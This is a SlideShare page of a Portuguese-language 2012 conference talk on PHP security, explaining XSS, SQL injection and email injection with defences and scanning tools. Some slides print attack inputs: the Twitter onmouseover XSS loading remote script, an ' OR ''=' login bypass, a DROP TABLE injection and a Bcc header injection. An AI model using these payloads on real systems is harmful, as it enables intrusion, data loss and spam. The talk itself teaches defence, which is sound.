SlideShare a Scribd company logo
1 of 41
Segurança em aplicações PHP
       Rodrigo dos Santos
        rodrigodossantos.ws
             @rosantoz
Sobre mim
➔   Desenvolvedor PHP desde 2004

➔   Zend Certified Engineer PHP 5.3

➔   Zend Framework Certified

➔   Pós Graduado em Engenharia de Projetos de Software

➔   Sócio-Proprietário na Ilha Web (www.ilhaweb.net)



    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;


➔   Como se previnir;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;


➔   Como se previnir;



➔   Ferramentas de diagnóstico (e de ataque);




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;

2) Escape os dados de saída;




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;

2) Escape os dados de saída;

3) Nunca confie em seus usuários;



 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting



  Injeção de código HTML, CSS ou
      Javascript em uma página.




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
O javascript representa a maior ameaça por possibilitar:


1) Redirecionar o usuário para outra página;

2) Modificar a página;

3) Ler os cookies.




    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
 Twitter Hack




http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html

     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Twitter Hack




 http://t.co/@"style="font-
 size:999999999999px;"onmouseover="$.getScript
 ('http:u002fu002fis.gdu002ffl9A7')"/




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Como evitar?


 ➔   htmlspecialchars()

 ➔   htmlentities()

 ➔   strip_tags()

 ➔   Whitelist




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Ferramenta de diagnóstico:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection



   Injeção de uma instrução SQL
  através de parâmetros recebidos
        pela por um sistema.




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer
senha: ' OR ''='




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer
senha: ' OR ''='




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer'; DROP TABLE usuarios ; --
senha: '1234'




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer'; DROP TABLE usuarios ; --
senha: '1234'




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Como evitar?


 ➔   mysql_real_escape_string()

 ➔   Prepared Statement




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
SQL Injection no mundo real




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Ferramenta de diagnóstico:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como acontece:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como acontece:




Campo nome:

José da Silva <josedasilva@provedor.com>nBcc <email2@provedor.com>,
<email3@provedor.com>, <email4@provedor.com>




    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como evitar:


 ➔   Valide o email do usário;

 ➔   Não use mail() para enviar email;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                             XSS Me
               https://addons.mozilla.org/en-US/firefox/addon/xss-me/




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                       SQL Inject Me
           https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                       Skipfish
           http://code.google.com/p/skipfish/downloads/list




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




               Acunetix (free edition)
           http://www.acunetix.com/cross-site-scripting/scanner.htm




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                                ZAP
                        code.google.com/p/zaproxy/




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Recomendação




                            OWASP
                          https://www.owasp.org




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Perguntas?




PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Obrigado
                              @rosantoz
                      falecom@rodrigodossantos.ws




PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012

More Related Content

What's hot

Design de Software com ASP.NET MVC
Design de Software com ASP.NET MVCDesign de Software com ASP.NET MVC
Design de Software com ASP.NET MVCWaldyr Felix
 
TDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saberTDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saberCamilo Lopes
 
Qualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SPQualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SPAlan Jose
 
Configurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do EclipseConfigurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do EclipseAlberlan Barros
 
Service virtualization floripa
Service virtualization floripaService virtualization floripa
Service virtualization floripaErnesto Barbosa
 
Tdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquiteturaTdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquiteturaEverton Tavares
 
Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018Ernesto Barbosa
 
Não deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do frameworkNão deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do frameworkGiuseppe Lopes
 
TheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passosTheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passosTaise Dias da Silva
 
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel LucasTDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel LucasSamuel Lucas
 
Demandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de softwareDemandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de softwareClaudio Ferreira Filho
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startupstdc-globalcode
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startupstdc-globalcode
 
Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!tdc-globalcode
 
TDC2016SP - Trilha Microservices
TDC2016SP - Trilha MicroservicesTDC2016SP - Trilha Microservices
TDC2016SP - Trilha Microservicestdc-globalcode
 
Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF Otávio Santana
 
Dos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestraDos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestraRafael Chaves
 
Introdução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e KubernetesIntrodução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e KubernetesTenchi Security
 
DevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a QualidadeDevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a QualidadeKamilla Queiroz Xavier
 

What's hot (20)

Design de Software com ASP.NET MVC
Design de Software com ASP.NET MVCDesign de Software com ASP.NET MVC
Design de Software com ASP.NET MVC
 
TDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saberTDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saber
 
Qualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SPQualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SP
 
Configurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do EclipseConfigurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do Eclipse
 
Service virtualization floripa
Service virtualization floripaService virtualization floripa
Service virtualization floripa
 
Tdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquiteturaTdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquitetura
 
Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018
 
Não deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do frameworkNão deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do framework
 
TheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passosTheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passos
 
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel LucasTDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
 
Demandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de softwareDemandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de software
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startups
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startups
 
Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!
 
TDC2016SP - Trilha Microservices
TDC2016SP - Trilha MicroservicesTDC2016SP - Trilha Microservices
TDC2016SP - Trilha Microservices
 
Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF
 
Dos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestraDos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestra
 
TDC 2012 - JDF
TDC 2012 - JDFTDC 2012 - JDF
TDC 2012 - JDF
 
Introdução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e KubernetesIntrodução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e Kubernetes
 
DevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a QualidadeDevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a Qualidade
 

Viewers also liked (9)

5s[1]
5s[1]5s[1]
5s[1]
 
Implementando Segurança Em Sua Aplicação PHP
Implementando Segurança Em Sua Aplicação PHPImplementando Segurança Em Sua Aplicação PHP
Implementando Segurança Em Sua Aplicação PHP
 
Programa 5S
Programa 5SPrograma 5S
Programa 5S
 
treinamento de 5S
treinamento de 5Streinamento de 5S
treinamento de 5S
 
Slides 5 s
Slides 5 sSlides 5 s
Slides 5 s
 
Apresentação 5 s
Apresentação 5 sApresentação 5 s
Apresentação 5 s
 
5s Audit Checklist
5s Audit Checklist5s Audit Checklist
5s Audit Checklist
 
Check list 5 s
Check list 5 sCheck list 5 s
Check list 5 s
 
AprersentaçãO 5 S
AprersentaçãO 5 SAprersentaçãO 5 S
AprersentaçãO 5 S
 

Similar to Segurança PHP ataques prevenção ferramentas

Workshop Node JS - Nível Básico
Workshop Node JS - Nível BásicoWorkshop Node JS - Nível Básico
Workshop Node JS - Nível Básicoinopus
 
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATECAplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATECRafael Pessoni
 
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escalaTDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escalaCleber Dantas
 
Desenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web SegurasDesenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web SegurasDércio Luiz Reis
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
 
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...Alex Piaz
 
Hardening em sistemas - Overview
Hardening em sistemas  - OverviewHardening em sistemas  - Overview
Hardening em sistemas - OverviewData Security
 
Monitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application InsightsMonitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application InsightsRenato Groff
 
Workshop PHP - Nível básico
Workshop PHP - Nível básicoWorkshop PHP - Nível básico
Workshop PHP - Nível básicoinopus
 
Hardening Linux
Hardening LinuxHardening Linux
Hardening Linuxhdoria
 
Carreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoftCarreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoftRodrigo Kono
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...tdc-globalcode
 
Reconhecimento facial com azure
Reconhecimento facial com azureReconhecimento facial com azure
Reconhecimento facial com azureVinicius Mussak
 
Frameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHPFrameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHPElton Minetto
 

Similar to Segurança PHP ataques prevenção ferramentas (20)

Workshop Node JS - Nível Básico
Workshop Node JS - Nível BásicoWorkshop Node JS - Nível Básico
Workshop Node JS - Nível Básico
 
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATECAplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
 
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escalaTDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
 
PCI DSS e Metodologias Ágeis
PCI DSS e Metodologias ÁgeisPCI DSS e Metodologias Ágeis
PCI DSS e Metodologias Ágeis
 
Desenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web SegurasDesenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web Seguras
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
 
Introducao ao PHP @edgarsandi
Introducao ao PHP @edgarsandiIntroducao ao PHP @edgarsandi
Introducao ao PHP @edgarsandi
 
Hardening em sistemas - Overview
Hardening em sistemas  - OverviewHardening em sistemas  - Overview
Hardening em sistemas - Overview
 
Segurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSourceSegurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSource
 
Monitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application InsightsMonitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application Insights
 
Workshop PHP - Nível básico
Workshop PHP - Nível básicoWorkshop PHP - Nível básico
Workshop PHP - Nível básico
 
Security & PHP
Security & PHPSecurity & PHP
Security & PHP
 
Hardening Linux
Hardening LinuxHardening Linux
Hardening Linux
 
Polymer Starter Kit
Polymer Starter KitPolymer Starter Kit
Polymer Starter Kit
 
Analise de Requisitos Software
Analise de Requisitos SoftwareAnalise de Requisitos Software
Analise de Requisitos Software
 
Carreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoftCarreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoft
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
 
Reconhecimento facial com azure
Reconhecimento facial com azureReconhecimento facial com azure
Reconhecimento facial com azure
 
Frameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHPFrameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHP
 

Segurança PHP ataques prevenção ferramentas

  • 1. Segurança em aplicações PHP Rodrigo dos Santos rodrigodossantos.ws @rosantoz
  • 2. Sobre mim ➔ Desenvolvedor PHP desde 2004 ➔ Zend Certified Engineer PHP 5.3 ➔ Zend Framework Certified ➔ Pós Graduado em Engenharia de Projetos de Software ➔ Sócio-Proprietário na Ilha Web (www.ilhaweb.net) PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 3. O que iremos abordar? ➔ Como acontecem os principais ataques a aplicações PHP; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 4. O que iremos abordar? ➔ Como acontecem os principais ataques a aplicações PHP; ➔ Como se previnir; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 5. O que iremos abordar? ➔ Como acontecem os principais ataques a aplicações PHP; ➔ Como se previnir; ➔ Ferramentas de diagnóstico (e de ataque); PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 6. 3 Regras Básicas de Segurança PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 7. 3 Regras Básicas de Segurança 1) Filtre e valide os dados de entrada; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 8. 3 Regras Básicas de Segurança 1) Filtre e valide os dados de entrada; 2) Escape os dados de saída; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 9. 3 Regras Básicas de Segurança 1) Filtre e valide os dados de entrada; 2) Escape os dados de saída; 3) Nunca confie em seus usuários; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 10. XSS – Cross-Site Scripting PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 11. XSS – Cross-Site Scripting Injeção de código HTML, CSS ou Javascript em uma página. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 12. XSS – Cross-Site Scripting O javascript representa a maior ameaça por possibilitar: 1) Redirecionar o usuário para outra página; 2) Modificar a página; 3) Ler os cookies. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 13. XSS – Cross-Site Scripting Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 14. XSS – Cross-Site Scripting Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 15. XSS – Cross-Site Scripting Twitter Hack http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 16. XSS – Cross-Site Scripting Twitter Hack http://t.co/@"style="font- size:999999999999px;"onmouseover="$.getScript ('http:u002fu002fis.gdu002ffl9A7')"/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 17. XSS – Cross-Site Scripting Como evitar? ➔ htmlspecialchars() ➔ htmlentities() ➔ strip_tags() ➔ Whitelist PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 18. XSS – Cross-Site Scripting Ferramenta de diagnóstico: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 19. SQL Injection PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 20. SQL Injection Injeção de uma instrução SQL através de parâmetros recebidos pela por um sistema. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 21. SQL Injection PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 22. SQL Injection Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 23. SQL Injection Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 24. SQL Injection Mas como acontece? usuário: qualquer senha: ' OR ''=' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 25. SQL Injection Mas como acontece? usuário: qualquer senha: ' OR ''=' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 26. SQL Injection Mas como acontece? usuário: qualquer'; DROP TABLE usuarios ; -- senha: '1234' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 27. SQL Injection Mas como acontece? usuário: qualquer'; DROP TABLE usuarios ; -- senha: '1234' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 28. SQL Injection Como evitar? ➔ mysql_real_escape_string() ➔ Prepared Statement PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 29. SQL Injection SQL Injection no mundo real PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 30. SQL Injection Ferramenta de diagnóstico: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 31. Email Injection Como acontece: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 32. Email Injection Como acontece: Campo nome: José da Silva <josedasilva@provedor.com>nBcc <email2@provedor.com>, <email3@provedor.com>, <email4@provedor.com> PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 33. Email Injection Como evitar: ➔ Valide o email do usário; ➔ Não use mail() para enviar email; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 34. Ferramentas de Diagnóstico XSS Me https://addons.mozilla.org/en-US/firefox/addon/xss-me/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 35. Ferramentas de Diagnóstico SQL Inject Me https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 36. Ferramentas de Diagnóstico Skipfish http://code.google.com/p/skipfish/downloads/list PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 37. Ferramentas de Diagnóstico Acunetix (free edition) http://www.acunetix.com/cross-site-scripting/scanner.htm PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 38. Ferramentas de Diagnóstico ZAP code.google.com/p/zaproxy/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 39. Recomendação OWASP https://www.owasp.org PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 40. Perguntas? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 41. Obrigado @rosantoz falecom@rodrigodossantos.ws PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012